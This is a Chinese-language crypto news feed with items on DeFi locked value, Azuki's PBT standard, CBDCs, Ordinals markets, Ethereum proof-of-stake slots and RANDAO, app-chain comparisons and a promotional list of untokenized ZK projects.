根据DefiLlama统计的锁仓量来看，当前DeFi的总锁仓量约为496.5亿美元，较本月最低的429.7亿美元增长了15.55%，但仍未超过500亿美元的整数线。不过，从月内走势来看，总锁仓量已经走出了一个“V”字型，当前锁仓量与本月初的基本相当。   数据说明： [1] 尽管DuneAnalytics（@hagaetc）关于DEX交易量的统计面板创建时间较早，涵括的协议版本也较早，但这不影响对DEX交易量趋势的判断。通常而言，新协议的交易量高于旧协议，实际增长可能高于本文引用的面板数据。  ( 1 min )
    半年后看，Azuki提出的PBT方案是NFT新叙事还是伪命题？
    原文：《把NFT带进现实的PBT方案，对潮牌、​潮玩的吸引力有多大？》 作者：北辰 在数字化的时代，将资产映射为数据是大势所趋，今天在区块链上创建数字资产并不难，难的是创建的资产有价值。 区块链世界的资产形式往往是FT和NFT（以及链茶馆此前介绍的介于二者之间的SFT），它们在链上的逻辑是成立的，可以准确描述资产并高效流通，但很难用来描述（或者说锚定）链下的资产。 Azuki去年10月份推出的PBT（Physical Backed Token）标准就是一种把现实资产映射到链上的解决方案，虽然推出至今没有多大起色，但我们仍认为这种方案（至少是这种思路）很有前景。（推荐阅读：《Azuki PBT：打破次元壁，Scan to Own模式能否引发新一轮Web3革命？》） PBT方案本质上是NFT（EIP-721）的扩展，它的模式被概括为「Scan to Own」。 简单来说就是给实物（例如滑板）装个芯片，每个芯片对应了一个NFT，在交易实物的时候，买方扫一下芯片，卖方的钱包会跳出NFT转移请求，同意后就会连NFT都转移给对方。 这里的芯片是由Azuki与Kong合作创建的BEAN芯片，可以自动生成非对称密钥对。 对于crypto原教旨主义者来说，这种方式就跟若干年前的溯源链一样没劲，因为区块链在这里似乎只是充当了点缀的作用。 但如果我们站在数字化的浪潮之巅来看PBT方案，就会发现它给NFT找了个连接现实世界的通道，能够被现实世界的品牌方（从大品牌到小品牌）广泛采用。 对品牌方来说，PBT方案的吸引点在于：它可以把所有权从实物资产上剥离出来，这样更有利于流通，而且也真正实现了溯源（单纯获得实物并不意味着你真正拥有它）。 不过PBT方案显然适用于滑板、潮鞋这种有二次流通价值的产品，像一次性内裤就大可不必了…… 尽管如此，PBT方案面向的市场潜力仍远大于「粉丝代币」。这里说句题外话，在上一轮牛市中，「粉丝代币」的发展对不住「粉丝经济」这么大的体量。我们很看好「粉丝代币」在下一轮牛市中的表现（不是随便发个币来割一茬的那种）。 正如Azuki官方Chiru Labs所言，“PBT能够使品牌和创作者为社区创造下一代的叙事和体验“。相比之下，品牌方买个Bored Ape的NFT来宣传就是小儿科了。 第一个支持PBT的案例是在去年10月份与PBT方案一起推出的，Azuki镀金滑板，全球限量9个，售价250万美元，创下了滑板拍卖的世界记录。 然后在11月份联合日系街头潮牌AMBUSH推出了4件单品——两件卫衣和两件吊坠，由AMBUSH和Azuki的创始人们亲自设计，并邀请横跨美日的流行偶像Mandy Sekiguchi担任模特。 之后Azuki的PBT方案没有了音讯，可能是团队的工作重心放在了元宇宙，向虚拟世界探索就无暇顾及往现实世界拓展。 当然还有一个原因是Azuki的PBT方案是在以太坊上，而且还需要定制芯片，最终的成本不适用于大规模生产的商品。 而继续推进PBT方案的是中国的灵境藏品，携手Web3 IP品牌角麦麦推出《蝴蚂-金斑喙凤蝶》T恤数藏，解决了成本问题——部署在蚂蚁链，芯片是通用的NFC。 怎么说呢，路径没问题，但怎么看怎么土狗（无意冒犯，但……）。 回归到上文所说的PBT方案适用领域——有二次流通价值的实物产品，而目前最有可能的切入口是针对Z世代的潮牌、潮玩。 当然，我们认为这需要时间，主要是品牌方了解、接受并付诸于行动需要时间。至于有没有品牌方或者VC愿意尝试这个方案，欢迎讨论交流～  ( 1 min )
    英国央行：CBDC可成为比特币等数字货币和TradFi之间的“桥接资产”
    PANews 3月31日消息，据Decrypt报道，当被问及潜在CBDC将如何与比特币或资产支持的稳定币共存时，英国央行的CBDC负责人Katie Fortune表示，统一的支付生态系统可以促进创新并带来“所需求的新用例”。 她认为，在稳定币和其他数字形式货币的世界中，拥有一种央行数字货币可以成为所有这些不同形式货币之间的桥梁资产，这可能真的很强大。这种统一性“只是一种社会公益”，而不是“某种政府控制问题”，这与当局已经提供的服务和基础设施类似，“允许其他人做他们需要做的事情，为未来创新”。  ( 1 min )
    数据：Magic Eden比特币NFT市场日交易量占比超70%，系最大Ordinals市场
    PANews 3月31日消息，Dune Analytics数据显示，比特币Ordinals市场总交易量达1590.83万美元，交易笔数为38843笔，唯一用户数达18462人。自Magic Eden推出比特币生态NFT市场以来，该平台上的日交易量一直领先。3月30日，Magic Eden的Ordinals市场交易量约为25.56万美元，约占当日总交易量35.8万美元的71.4%。从当日交易量来看，第二大市场Ordinals市场为“Ordinals Market”,市场份额达13.4%。其次为“Ordinals Wallet”，市场份额达10.5%，其他市场的份额均不到5%。  ( 1 min )
    解读以太坊POS工作原理：Epoch、Slot 与信标区块
    来源：《Epochs, Slots and Beacon Blocks》by Patrick McCorry 翻译：John, ECN 审阅：Franci, ECN 使用权益证明的以太坊的独特性在于参与者数量的最大化设计。它允许成百上千和成千上万的验证者活跃地参与决策过程。在笔者撰文时已经有大约 50 万的验证者实体（从协议的角度而言）在活跃地参与这个过程。 事实上，在约 384 秒（6 分 24 秒）内，所有活跃中的验证者将有机会投下一票或提议一个区块。在约 384 秒内至少有 50 万条信息广播，而且所有信息必须在严格的时间范围内传递。据我所知，没有其他共识协议被设计来处理如此活跃和庞大的共识参与者集。 至于通信模型方面，共识协议是为以下三种情况之一设计的（通常）： 大多数现代共识协议都是为部分同步通信而设计的，因为它假设大部分时间条件良好，但由于事件可能会在短时间内中断通信，所以存在不可预测的时期。另一方面，值得注意的是，权益证明的以太坊是为同步通信设计的。 题外话--Casper FFG 是为部分同步通信而设计的，但 LMD-GHOST 的严格计时条件迫使整个系统必须同步。我们将在今后的文章中解释什么是 Casper 和 LMD-GHOST。 它假定在绝大多数的验证者中几乎没有中断，而且所有的信息必须在固定的最后期限前被记录在信标区块链上，这些信息才能被计入/使用。如果出现中断，导致信息延迟传递，那么发送者将根据其延迟程度而招致惩罚。在最坏的情况下，如果错过了最后期限，那么消息将被忽略，信息发送者将受到不活跃的最大惩罚。惩罚政策将在未来的文章中介绍。 为了更好地理解同步通信模型，我们涵盖了 Epochs & Slots 的主题。它定义了验证者被允许参与的时间，以及围绕消息传递的严格时间窗口。如果违反了时间窗口，不管是什么原因，那么就不能保证其他验证者会就迟到的消息到达时采取行动。最后，我们将介绍验证者如何被分配到一个时间槽（time slot），以及消息如何被记录在信标区块链中。 如果你想深入了解各种通信设置，那么我建议阅读这篇文章。这里也有关于 ETH2 是部分同步通信还是同步通信的精彩讨论。 每个 epoch 有 32 个 slot，每个验证者在每个 epoch 正好被分配到一个槽位。一个 slot 是一个 12 秒的时间窗口，期间验证者可以参与权益证明协议，对新的信标区块进行提议或投票。 slot 按 epoch 分组，epoch 和 slot 为验证者参与权益证明协议扮演一个时间表的角色： 一个 epoch 代表了权益证明协议的一个完整的回合， slot 为验证者提供了一个参与该回合的机会。在一个 epoch 结束时，所有活跃的验证者都有机会参与。 Slot 委员会一个验证者在一个 epoch 中正好被分配到一个 slot，所有验证者被平均分配到各个 slot，组成委员会。 一个 slot 里有两种角色： 每个 epoch 有 32 个区块提议者（每个 slot 一个），所有验证者都有机会参与权益证明协议，向他们认为应该是规范信标链（canonical beacon chain）的链头投出一票。 一个 slot 代表了一个严格的时间窗口，供一个验证者提议一个区块，委员会成员对一个区块进行投票，最后将所有该 slot 的活动广播给下一个 slot 的区块提议者。 Slot 和时间条件所有 slot 都是按照时间顺序一个接一个地产生的。每一个 slot 都准确地按照 12 秒一个被分配出来，并被分成三个阶段： 所有的区块和投票都是在一个 slot 的委员会内进行广播。在委员会中有一个额外的角色，叫做聚合者，他们会在将证明传递给下一个 slot 的区块提议者之前将其聚合。他们是自选的，这是一个自愿的角色，以减少通信的成本。我们将暂时跳过具体细节--因为这将在未来的文章中涉及。 如果一个提议的区块或见证是在截止日期之后发布的，那么就不能保证该活动会被其他验证者认可。例如，一个迟到的区块可能会被跳过，因为这个 slot 的见证者可能已经为其父块投了票。一个迟到的见证将被其他见证者在一个 epoch 中处理，最多迟到 32 个 slot，并有不同程度的惩罚。如果它在 32 个 slot 之后被发布，那么它将不会被任何验证者处理。 最后提醒一下，这个严格的时间窗口保证了运行验证者所需的带宽和计算能力的下限，因为他们必须要有准时接收、处理、发送见证/区块的能力。 我们在一个 epoch 里考虑分配验证者到 slot 里的过程。所有的 slot 委员会的规模大致相同。他们根据一个随机信标的输出完成分配，并且提前两个 epoch 进行。这要求使用一个混洗协议和一个同带信号传输随机性的源。 混洗协议所有验证者都根据一个叫 swap-or-not 的混洗协议被分配到一个 slot 里去。我们不会去探讨这个混洗协议的细节，而是会把注意力集中到随机信标的计算方法上，这个方法奠定了混洗协议执行方式的基础。 随机信标所有验证者通过一个随机信标被分配，这个随机信标使用了一个叫 RANDAO 的协议。其目的是在新的区块被添加到规范链上时通过聚合随机性来形成随机信标。 对于每一个新的区块而言，有两个阶段： 正如我们所能看到的，每一个信标区块都包括了一个随机信标，添加并汇聚了所有之前的区块的随机性。 验证者们通过第 N 个 Epoch 最后的随机信标被分配到第 N+2 个 Epoch 的 slot 里 /* * 区块提议者在当前 epoch 号码上进行一次 BLS 签名 * 以充当这个区块的随机信标 * 一个非常好的地方在于签名是确定的（验证者无法篡改它），但是直到签名被计算出来之前都是无法预测的 */ DOMAIN_RANDAO = 0x02000000; // 一个签名里包含的神奇数字epoch_hash = hash(current_epoch_number, DOMAIN_RANDAO); // 要签署的哈希码randao_reveal = BLS.sign(epoch_hash, sk); // BLS 签名是 RANDAO /* * 使用区块的随机性，进行哈希计算，然后把哈希码混合到现在聚集起来的随机性里 */ previous_mix = get_previous_mix(parent_block); // 来自父块的混合（Mix）randao_reveal = new_block.randao_reveal; // 取得新区块的randao mix = previous_mix XOR hash(randao_reveal); // 计算新的混合store_new_mix(new_block); // 把新的“混合”（mix）和新的区块联系在一起 分配会提前 2 个 epoch 发生所有验证者都会使用最后那个被接受的区块汇聚起来的 mix 值作为随机信标，并在混洗算法中使用它。它会计算得出未来两个 epoch 的验证者委员会。 所以，如果我们考虑目前的 epoch 为第 N 个，那么这个 epoch 里的最后那个信标区块会作为随机信标决定第 N+2 个 epoch 的委员会分配。 验证者们有充足的时间查找它们被分配到的 slot，因为它们提前两个 epoch 就知道了。换句话说，未来 64 个 slot 的验证者的分配是早就公之于众了的 (约 2 个 epoch）。 随机信标的可偏倚性（bias-ability)只有一个 mix 能被混洗协议使用，那就是一个 epoch 中最后一个被接受的区块的 mix 值。 最后一个被接受的区块不会总是那个在第 32 个 slot 被提议的区块。而是最后一个 slot 的区块，也就是被所有验证者认可为区块链链头的那个区块。举个例子，如果第 32 个 slot 没有区块被提议产生（或者它迟到了），那么第 32 个 slot 的验证者委员会就会为之前在第 31 个 slot 被提议产生的前一个区块投票。 攻击者可以利用这点来使随机信标出现偏差。让我们假设攻击者是第 32 个 slot 的区块提议者。他可以决定这么干： 这种决定权使得攻击者可以使随机信标出现 1 个字节的偏倚，并最终决定到底两个验证者分配组合里中的哪一个会在未来的一个 epoch 里被使用。实际上如果攻击者控制了一个 epoch 里最后 N 个区块的区块提议者们，那么它们可以利用这个机会释放或暂缓释放一个 N 个区块的组合。目前还缺乏一项严格的研究，来了解针对最后 N 个 slot 的偏倚能力的全部范围及其影响。 一个信标区块的数据结构 一个单独的信标区块包含了它在信标区块链里所处位置的元数据、执行链的数据、以及权益证明协议的一份副本。我们会在下文探讨更多细节。 一个 slot 的区块提议者会尝试扩展规范链，并且只能选择一个父块。 信标父块一个区块的提议者的目标是提议并添加一个新的信标区块到一个规范链的头。若要这么做的话，它们只能选择一个父块来进行扩展。父块应该是当前的链头，它在元数据中的代表是 parent_root。 Epoch 和 slot 组织验证者产生唯一一条规范信标区块链。 Slot ≠ 信标区块一个信标区块记录了它的 slot 号码的元数据（一个 epoch 号码的倍数）。它允许其他验证者检查区块提议者是否确实被指定为这个 slot 提议一个区块，这个区块是否就是被提议的那个区块。如果 slot 的号码错误，那么区块会被拒绝。 重点在于，一个区块在区块链里的位置不会与它在其中被提议的 slot 号码相对应。举个例子，如果我们检查第 5184157 个 slot，那么我们会看到第 16015362 个区块，这种不匹配是无法避免的，因为无法保证一个被分配的 slot 里被提议的区块会被所有其他验证者投票通过，而且以太坊从开始到现在运行了超过 7 年了。 执行链数据区块提议者会提议两个区块，它们提议一个执行区块，给用户的交易排序，并把它附加到新产生的信标区块上。这并不奇怪，因为共识层的最终目的就在于为执行层决定规范链。 区块提议者同样负责从执行层转移信息到信标层上，并使其准备好为权益证明协议所用。这包括： 这要求所有的验证者运行一个信标客户端和一个执行客户端。这是必要的，因为验证者们必须检查对应的 ETH1 区块并根据执行层规则验证其有效性。同样地，正如我们在关于注册过程的文章里讨论的一样，存款必须在一个特定的区块间隔期内从执行层上被转移到一个信标区块上，否则信标区块会被拒绝。 通过记录下副本，每一个人都可以独立地回顾整个协议，并且绝对相信目前信标链的状态是正确的。比如说，恶意的验证者会被及时罚没，slot 和 epoch 的时间表受到全体验证者的认可，绝大多数验证者都会以这种方式投票并产生单独一条规范链。 题外话，由于弱主观性的缘故，虽然权益证明的记录可以使我们信服所有历史活动都是按照规则进行的，但是尚不足以向一个外部群体说明这确实是那条真实的信标区块链。简单来说就是它提供了一个检查历史活动完整性的方法。 原文链接：https://stonecoldpat.substack.com/p/epochs-slots-and-beacon-blocks  ( 4 min )
    应用链进展如何？多维度对比Polygon Supernets和Avalanche Subnets
    3月22日，NFT游戏Aavegotchi宣布正利用Polygon Supernets推出自己的区块链Gotchichain。在Cosmos和Polkadot等多链生态系统之后，Avalanche、Polygon等也先后推出了专属的App Chains（应用链）服务，本文将从多个维度对比同为Layer 1的Avalanche和Polygon推出的Subnets与Supernets方案。 Polygon和Avalanche都是兼容EVM且得益于以太坊价值外溢而发展起来的Layer 1区块链。 Polygon号称是以太坊扩容的“瑞士军刀”提供了多种扩容解决方案，包括Polygon PoS侧链、EVM等效的zk Rollup方案Polygon zkEVM、适用于应用链的Polygon Supernets和还未上线的zk-optimized Rollup方案Polygon Miden。Polygon Supernets迭代于生态中原有的Polygon Edge，旨在实现与EVM兼容的、特定于应用程序的主权区块链。Polygon Supernets被设计为“超级网络”，为开发人员提供更多特性和功能，使他们能轻松构建、部署基于区块链的解决方案。 Avalanche Subnets让所有人都能根据自己的需求自定义私有或公共区块链网络，Subnets可以与Avalanche生态系统无缝连接，不与其它应用竞争网络资源，实现无限扩展。随着Avalanche C-chain上费用的增加，Subnets也能在Avalanche生态中整体交易量上升的同时降低Subnets上用户的交易费用。 Polygon Supernets和Avalanche Subnets都是可定制的，可满足特定应用程序的需求，在大多数应用场景下两者是竞争关系。 性能指标 虽然Polygon Supernets和Avalanche Subnets都是App Chains的解决方案，但两者在实现的细节上有一些异同点。 EVM：均支持EVM，Avalanche Subnets还支持自定义的虚拟机。 跨链桥：都有到Polygon或Avalanche的跨链桥，可访问对应Layer 1上的生态。 共识机制：Polygon Supernets为IBFT权益证明或IBFT权威证明机制，Avalanche Subnets为Snowman共识机制。 TPS：Polygon Supernets为1500+，Avalanche Subnets为4500+。 验证者：Polygon Supernets验证者数量最多100个，Avalanche Subnets验证者数量没有限制，Avalanche Subnets上的验证者需要同时验证主网。 验证者质押需求：均需要抵押对应公链的原生代币，分别为2万MATIC和2000 AVAX。 Polygon和Avalanche双方都有针对Supernets和Subnets的官方激励计划。Polygon Supernets于2022年2月推出，曾在2022年3月表示计划投资5亿美元，用于有兴趣在Supernet上进行开发的项目。今年3月22日，Polygon宣布已有游戏、DeFi等领域的十家公司将推出自己的Polygon Supernets。过去一年Polygon Labs开发人员努力升级Polygon Supernets技术栈，解决社区反馈，让有兴趣推出专有链的项目能更方便的使用Supernets。 2022年3月，Avalanche基金会推出400万AVAX（当时价值2.9亿美元）的Multiverse激励计划，以加速Subnets的发展。Avalanche Multiverse的第一批合作者包括DeFi Kingdom、Aave、Golden Tree Asset Management、Wintermute、Jump Crypto、Valkyrie和Securitize。Aave创始人Stani Kulechov表示，Avalanche Subnets能够为机构创造一个理想的环境，以便在线上迁移，并让大家作为用户体验这些协议的力量。 Avalanche Subnets可以让项目根据特定的业务需求设计区块链，可以进行KYC和其它定制化功能，以促进Web3的大规模采用。截至3月29日，Avalanche Subnets官网显示的已经上线的项目只有Crabada和DeFi Kingdom两款游戏，还有Wild Life、Shrapnel、Ascenders等游戏将要上线。DeFi Kingdoms作为Avalanche Subnets上的代表项目，Avalanche在Multiverse激励计划在推出时，就对外宣传将为DeFi Kingdoms提供高达1500万美元的奖励。DeFi Kingdoms最初建立在Harmony上，原生代币为$JEWEL。在部署至Avalanche Subnets上独立为DFK Chain后，$JEWEL在作为治理代币的同时还可以用于支付Gas费，并在DFK Chain上新发行了一种代币$CRYSTAL。根据目前的数据，Avalanche Subnets的部署并没有让DeFi Kingdoms迎来新的机会。截至3月29日，原生代币$JEWEL的价格为0.188美元，与2022年1月的21美元高点相比已经下跌超过99%，DFK Chain上的流动性不到600万美元。 Polygon Edge上曾有35个项目，包括预测市场SX Network、去中心化旅游项目Zo World、印度北阿坎德邦的地方政府用于跟踪学校医疗设备的Settlemint等。但Polygon的文档显示Polygon Supernets的主网正在进行审计，预计在2023年第二季度上线。在2023年3月最新发布的文章中，Polygon仅介绍了第一批计划使用Supernets构建的十个项目。包括游戏领域的Nexon、Plai Labs，DeFi领域的Nu、Lemon、Ripio，企业领域的Acentrik和Gaia-x等都计划推出自己的Supernets。此外Polygon还联合了Axelar、ANKR、Airchains、Band、Layer Zero、Sequence等合作伙伴为项目提供支持。 从目前的情况看，Polygon和Avalanche双方都对各自的应用链解决方案Supernets和Subnets投入了很多资源，如用原生代币进行激励、和行业其它提供商合作提供定制化服务，让相关项目能够快速完成部署。 但目前这两个解决方案都还缺乏代表性的项目，DeFi Kingdoms部署到Avalanche Subnets后表现不佳，可见对于项目方，App Chain也并非实现增长的良药。而Polygon Supernets主网尚未发布，Polygon扩容解决方案的重心还有包括zkEVM在内的多种方案。此前，市场曾预言之后应用链会遍地开花的时代还尙处早期，未来应用链会如何发展PANews将持续关注。  ( 2 min )
    ZK是终局？盘点12个未发币热门ZK赛道Alpha
    近期Arbitrum因为发行空投，再一次将Layer 2叙事带火，当OP Rollup上，两大赛道optimism和Arbitrum纷纷落地，且带来了巨大的财富效应。另一大L2叙事主力ZK赛道便成为了当前行业目光最为关注的对象之一。事实上，从落地前景上来看，ZK Rollup尽管难度比OP Rollup大很多，但其发展前景也会比OP Rollup更广阔。 毕竟OP Rollup的发展，只针对ERC范畴，未免有种螺丝壳里做道场的局限。但ZK Rollup则能为ERC范畴以外的领域提供助力，甚至零知识证明的实现能够对整个现实社会的信任证明带来帮助，更具有现实意义。 3月24日，Matter Labs CEO Gluchowski在接受The Block采访时表示，zkSync在约一年时间内将实现序列器去中心化（发布Token）。 由于OP和ARB两大基础设施空投的经验，许多人都认为zkSync给行业预留出了一年的“撸空投”窗口期。因此，veDAO研究院汇总了当前行业ZK赛道还未发行Token的12个项目，或许能对2024减半周期以及zk生态爆发下的财富预期提供一些先见。 首先，我们需要对zk有一个简单的认知： 零知识证明（英语：zero-knowledge proof）或零知识协议（zero-knowledge protocol）是一方（证明者）向另一方（检验者）证明某命题的方法，特点是过程中除“该命题为真”之事外，不泄露任何资讯。因此，可理解成“零泄密证明”。例如，欲向人证明自己拥有某情报，则直接公开该情报即可，但如此则会将该细节亦一并泄露；零知识证明的精粹在于，如何证明自己拥有该情报而不必透露情报内容。这也是零知识证明的难点。 举个例子： 在整个过程中，Bob的验证行为和Alice的确认行为，均没有造成密码泄露。 这一逻辑，就是零知识证明的根本。零知识证明之所以能够在区块链和加密货币领域得到追捧，是因为人们在数字交易中对隐私和安全性的需求日益增长。随着区块链技术和加密货币的兴起，人们越来越需要一种既能验证交易又不泄露敏感信息的方法，而ZKP可以满足这一需求。 该技术对于提升区块链、加密货币和去中心化金融(DeFi)隐私和安全性的重要性日益提升。许多DeFi项目已经将ZKP应用至借贷和交易等服务中，为用户提供更好的隐私和安全性。许多Layer 1区块链正在添加基于ZKP的汇总或零知识以太坊虚拟机(zkEVM)。随着零知识证明应用的采用率日益提升，其有望在区块链和Web3领域发挥越来越重要的作用。在2022年开发者大会(DevCon)上，超20%的讨论均围绕零知识证明技术展开，表明该技术广受欢迎。 事实上，随着零知识证明概念的普及，当前已经有越来越多的DeFi类产品开始接受并使用这一新的技术。尤其是zk Rollup，目前也与OP Rollup一起成为了以太坊扩容的首选二层网络解决方案。通过使用Rollup，与一层网络相比，用户可以将燃料费减少多达100倍。 相较于OP Rollup，其优势在于：安全性更高，交易确认的时效性更强，TPS和交易成本显著优于OP Rollup；但是其劣势在于不易兼容EVM。 目前，零知识证明广泛存在于以下的赛道中： 一直以来，ZK赛道就被市场赋予了极高的预期财富回报率。这不仅是因为以太坊二层网络的实现会对行业产生会产生极大助力，更是因为在全球监管日益严厉、且因为金融危机、银行暴雷等种种黑天鹅导致用户对中心化金融世界日益加深的不信任感。基于去中心化网络的一个健全、可靠的身份、信息验证概念便越来越被重视。以至于ZK赛道的重要产品，比如zkSnyc、StarkNet和LayerZero、Arbitrum、SuiNetwork一起被称之为2023/24年最热门的空投标的。 以下为veDAO研究院特地筛选出来的，具有潜在财富效应，且尚处于“上车”早期的zk Alpha产品。 官网：https://zksync.io/ 推特：https://twitter.com/zksync 更多信息：https://app.vedao.com/projects/ zkSync是一条2链，使用ZK rollup技术来解决以太坊当前的可扩展性问题。该链自2019年以来由Matter Labs开发，目前处于Baby alpha阶段，正在进行内部主网测试。 zkSync通过使用ZK SNARK技术的低交易成本（每笔交易几美分）、受益于以太坊安全性的安全性以及去中心化等多种功能脱颖而出。zkSync还提供了互操作性，这要归功于其于2022年2月推出的V2，这使其成为第一个与EVM兼容的ZK-Rollup，这一成就本应花费数年时间。 zkSync专注于5个主要的以太坊相关属性： 官网：https://www.aleo.org/ 推特：https://twitter.com/AleoHQ 更多信息：https://app.vedao.com/projects/ Aleo是第一个支持私有和可编程应用程序的去中心化开源平台。通过默认选择退出隐私，Aleo实现了一个可持续、公平的Web3世界，可以满足开发人员、消费者和企业的需求。 Aleo使用零知识密码学来实现隐私和可编程性。零知识密码学和零知识证明允许第三方验证一条信息的真实性，而无需我们直接透露。Aleo以此作为称为ZEXE（零知识执行）系统的基础。在ZEXE中，用户离线执行状态转换。这个过程产生了一个证明，它被捆绑到一个链上交易中。该交易通过消费/创建链上记录来更新系统的状态。与Zcash一样，该系统为我们提供了强大的隐私保证，因为交易仅包含证明，而不包含生成它的输入。与以太坊一样，ZEXE可以支持智能合约，使用户能够以预定义的方式进行交互或转移价值。 官网：https://starkware.co/ 推特：https://twitter.com/StarkWareLtd 更多信息：https://app.vedao.com/projects/ StarkWare通过利用简洁的零知识证明技术，来保护区块链隐私数据，可用于从可验证计算到隐私保护加密货币等各种用途的应用。StarkWare的目的是为区块链带来透明隐私和可扩展性。StarkWare正致力于利用STARK技术改进区块链世界中至关重要的两个因素：可伸缩性和隐私。其作用不仅是促进STARK技术的使用，而且还提供“零知识、简洁、透明、明显、安全”的密码证明。 StarkWare将开发一个完整的验证堆栈：软件和硬件，以支持用于一般计算的计算完整性证明的快速和可靠的生成和验证。其报告中首次实现了一个透明的ZK系统（ZK-STARK），其中验证的规模比数据库规模快得多。 StarkWare正在大力推广以色列理工学院研发的“zk-starks”区块链隐私解决方案。该解决方案通过零知识证明协议来保护区块链隐私数据，在无需耗费大量算力和专门部署安装软件的前提下验证隐私信息，而且还能把数据压缩的更小，提高了效率、透明度和安全性。运用StarkWare技术，可以提高区块链的可扩展性和隐私性。 官网：https://aztec.network/ 推特：https://twitter.com/aztecnetwork 更多信息：https://app.vedao.com/projects/ Aztec Network的定位为基于以太坊上的隐私型ZK Rollup，旨在帮助用户私密、高效地访问以太坊生态的Dapps。该项目当前已推出了两款主要产品，一是基于Aztec Rollup的隐私转账协议zk.money，二是链接以太坊Dapps及Aztec Rollup的隐私桥Aztec Connect。 依靠zk.money和Aztec Connect，用户可以在不暴露自身信息（地址、资金等等）的情况下自由转账，并安全地访问Lido、Element、Aave、Compound、Uniswap等多个主流DeFi协议。 值得注意的是：今年3月13日，Aztec Network宣布将逐步关停其DeFi隐私桥项目Aztec Connect，并将在一周后禁用从zk.money和其他前端（如zkpay.finance）将资金存入Aztec Connect合约。 团队未来将把注意力集中到两款新的主要产品之上： 官网：https://scroll.io/ 推特：https://twitter.com/Scroll_ZKP 更多信息：https://app.vedao.com/projects/ Scroll致力于创建更通用的零知识证明扩容方案，并大胆宣布把权力下放到社区，让节点、证明人、开发者和用户一起构建Scroll社区。通过与社区一起公开建设并为链上证明和排序创建可靠路径，Scroll致力于确保所有层面均能实现去中心化。 官网：https://zklend.com/ 推特：https://twitter.com/zkLend 更多信息：https://app.vedao.com/projects/ zkLend是一个货币市场协议将zk-rollup可扩展性、卓越的交易速度和成本节约与以太坊的安全性相结合。 zkLend是一个建立在StarkNet上的L2货币市场协议，它结合了zk-rollup具有以太坊安全性的可扩展性，使参与者能够有效地赚取利息存款和无缝借入资产。Zklend发行的zend token将会由三个大的作用1.优惠借款利率；2.提高借款能力，以及3.治理参与。 目前zkLend已经完成了500万美元种子轮融资，由Delphi Digital领投，其他主要投资者包括StarkWare、Three Arrows Capital、Genesis Block Ventures、Alameda Research、CMS、MetaCartel DAO、DCVC、Amber Group、TPS Capital、Ascensive、D3 Web Capital、 4 RC和SkyVision Capital，以及其他天使投资者等。 官网：https://mintsquare.io/starknet 推特：https://twitter.com/MintSquareNFT 更多信息：https://app.vedao.com/projects/ Mint Square是ETH Layer 2 ZK Rollup上的NFT平台。Mint Square 是ETH Layer 2 ZK Rollup 上的 NFT 平台，目的在于建立最好的多链ZK Rollup NFt市场，集成StarkNet和zkSync Era两大平台。 官网：https://zkex.com/ 推特：https://twitter.com/ZKEX_Offical 更多信息：https://app.vedao.com/projects/ ZKEX是一个去中心化的L2多链订单簿交换（DEX），建立在三个ZK-rollup之上：zkLink、Starkware和zkSync。 用户将能够以Binance或Coinbase类似的体验去交易来自多个不同链的资产，但ZKEX将是去中心化的、信任最小化和非托管的，交易由零知识证明保护。 官网：https://ironfish.network/ 推特：https://twitter.com/ironfishcrypto 更多信息：https://app.vedao.com/projects/ Iron Fish是一种全新的加密货币，使用zk-SNARKs和Sapling协议，保护每一笔交易。任何人都可以运行一个节点并为其代码库作出贡献。 Iron Fish通过使用零知识证明，可以构建完全隐藏发送者、接收者和金额的私人交易，同时提供交易有效的证明。Iron Fish上的每笔交易都是私密的——除非所有者通过查看密钥授予只读权限，否则任何人都无法看到帐户的详细信息。 官网：https://ys.finance/ 推特：https://twitter.com/Yellow_Subm Yellow Submarine是首个也是唯一一个为所有与EVM兼容的链提供隐私交易的dApp。它创建了一个能够跨越任意以太坊生态系统的隐私层。 通过YS的直观界面，用户可以用MetaMask钱包在任何EVM兼容链存入一枚稳定币，如USDC，并从另一条EVM兼容链上以BUSD或USDT的形式取出，而无需任何公开的可追踪链接。YS的未来版本将允许用户保留他们持有的隐私通证——用户无需透露他们持有的通证类型，并且可随意支配。 Yellow Submarine还为加入其流动性金库的加密资产持有者们提供了一站式解决方案，使其可以从各种EVM兼容链中选定DeFi应用程序来获利。这类似于向DeFi应用程序（如借贷池）提供流动性，并从跨链费用收入中获得额外收益。与使用常规DeFi应用程序相比，通过增加流动性激励以及一对实用型通证（CUN）和治理通证（veCUN），YS的流动性提供者可以从多个来源获得更高的收益。 官网：https://www.nulink.org/ 推特：https://twitter.com/NuLink_ 更多信息：https://app.vedao.com/projects/ Nulink是一个用于分布式应用程序的隐私保护技术平台，允许用户保持匿名（Daaps）。该项目将为开发者、初创企业、小企业和企业带来企业级的安全解决方案，以实现这一目标。作为其技术基础，Nulink技术平台包括区块链、访问控制（代理重加密、基于属性的加密）和安全计算（零知识证明、安全多方计算、全同态加密）技术。它在企业范围内提供数据交换和处理能力。 Nulink正在通过结合一流的技术建立一个坚实的技术基础。应用层、密码器层、存储层、区块链层和观察者网络( Watcher Network )的整合是通过这个矩阵实现的。对于Nulink用户来说，集成到单个API中并访问各种存储和区块链解决方案是非常轻松的。该网络集成了NuCypher进行密钥管理。比特币矿工可以通过提供分散的存储设施来赚取$NLK，并且他们可以通过将信息从ETH传递到观察者层来赚取$NLK。 官网：https://www.starkswap.co/ 推特：https://twitter.com/starkswap 更多信息：https://app.vedao.com/projects/ Starkswap是第一个基于公共ZK-Rollup的StarkNet构建的AMM DeFi产品；Starkswap建立在底层基础设施之上，用户将以更便宜的成本（最初是无气体）享受闪电般的快速交易，同时仍然受益于第1层以太坊的安全性。 Starkswap是Starknet上主要AMM的有力竞争者。该团队在3月推出了测试网，并宣布从头开始重建V1，支持自定义曲线。 他们最近还与Yearn 一起推出了Iron Fleet，这是Starknet上的一个新协议，用户在与第一层DeFi协议互动时可以将他们的资产集中起来。这使得Gas可以在用户之间分摊，降低了每个人的操作成本。 单纯从撸空投的角度来看，以前的OP也好、当前的ARB也好，或者即将到来的Aptos、Sui以及明年的zkSync，基础设施一直是“大毛”，是财富效应的重要体现。 而财富效应的传达，往往先从公链、中间件等基础设施开始，然后到达生态的基础应用，比如稳定币、借贷、交易所等，最后传达到非基础应用（社交、游戏）。 目前，在zk赛道爆发前夜，我们有必要对zk赛道的基础设施和基础应用持有充分的注意力。 一文盘点2023年Layer2潜力未发币项目 | ODAILY 链接：https://www.odaily.news/post/5184314  ( 3 min )
    Upbit、Bithumb、Coinone等韩国加密交易所将下架Paycoin（PCI）
